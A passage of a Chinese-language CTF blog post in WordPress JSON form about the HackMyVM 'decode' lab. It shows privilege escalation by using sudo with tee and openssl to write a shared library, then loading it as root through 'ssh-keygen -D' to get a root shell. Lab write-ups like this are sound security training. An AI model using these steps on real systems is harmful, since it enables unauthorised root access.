\u548b\u611f\u89c9\u603b\u5728\u9760\u8def\u5f84\u7a7f\u8d8a\u561e\uff0c\u4ece\u7528\u6237\u5230root\u90fd\u662f\u8fd9\u4e2a\u63d0\u6743\uff0c\u62ff\u4e0b\uff01<\/p>\n
\u989d\u5916\u6536\u83b7<\/h2>\n
\u770b\u4e86\u522b\u7684\u5e08\u5085\u7684wp\uff0c\u53d1\u73b0\u8fd9\u91cc\u547c\u5e94\u4e86\u524d\u9762\u6240\u63d0\u5230\u7684tee<\/code>\u5199\u5165\u6587\u4ef6\uff0c\u5636\u3002\u3002\u3002\u3002\u3002\u6211\u7528\u5b8cdoas<\/code>\u4ee5\u4e3a\u53ea\u662f\u5154\u5b50\u6d1e\u6765\u7740\u3002\u3002\u3002\u3002<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ LFILE=hash     \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ echo aaa | openssl enc -out "$LFILE"\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ cat hash\naaa\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ LFILE=hash\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ echo bbb | tee -a "$LFILE"\nbbb\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ cat hash\naaa\nbbb<\/code><\/pre>\n
\u90fd\u53ef\u4ee5\u5199\u5165\u6587\u4ef6\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
ajneya@decode:\/tmp$ chmod 777 libshared.so <\/code><\/pre>\n
(remote) steve@decode:\/tmp$ cat \/tmp\/libshared.so | sudo -u decoder \/usr\/bin\/tee \/opt\/decode\/a.so\n(remote) steve@decode:\/tmp$ cat \/tmp\/libshared.so | sudo -u decoder \/usr\/bin\/openssl enc -out \/opt\/decode\/b.so<\/code><\/pre>\n
\u8bfb\u53d6\u4e00\u4e0b\u770b\u770b\u6709\u6ca1\u6709\u5199\u5165\u6210\u529f\uff01<\/p>\n
(remote) steve@decode:\/tmp$ cat \/tmp\/libshared.so | sudo -u decoder \/usr\/bin\/openssl enc -in \/opt\/decode\/a.so\n(remote) steve@decode:\/tmp$ cat \/tmp\/libshared.so | sudo -u decoder \/usr\/bin\/openssl enc -in \/opt\/decode\/b.so<\/code><\/pre>\n
\u53d1\u73b0\u90fd\u5199\u5165\u6210\u529f\u4e86\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u80fd\u5426\u6267\u884c\uff01<\/p>\n
ajneya@decode:\/tmp$ sudo -u root \/usr\/bin\/ssh-keygen -D \/opt\/decode\/a.so \nroot@decode:\/tmp# exit\nexit\ndlsym(C_GetFunctionList) failed: \/opt\/decode\/a.so: undefined symbol: C_GetFunctionList\ncannot read public key from pkcs11\najneya@decode:\/tmp$ sudo -u root \/usr\/bin\/ssh-keygen -D \/opt\/decode\/b.so \nroot@decode:\/tmp# exit\nexit\ndlsym(C_GetFunctionList) failed: \/opt\/decode\/b.so: undefined symbol: C_GetFunctionList\ncannot read public key from pkcs11<\/code><\/pre>\n
\u53d1\u73b0\u90fd\u53ef\u4ee5\u6267\u884c\uff01\uff01\uff01<\/p>\n
\u53c2\u8003<\/h2>\n
https:\/\/pwn.ar\/n\/decode<\/a><\/p>\n
https:\/\/nepcodex.com\/2022\/05\/decode-from-hackmyvm-full-walkthrough\/<\/a><\/p>\n
https:\/\/www.bilibili.com\/video\/BV1s1421k75X\/?spm_id_from=333.337.search-card.all.click&vd_source=8981ead94b755f367ac539f6ccd37f77<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
decode \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-752","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/752","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=752"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/752\/revisions"}],"predecessor-version":[{"id":753,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/752\/revisions\/753"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=752"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=752"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=752"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}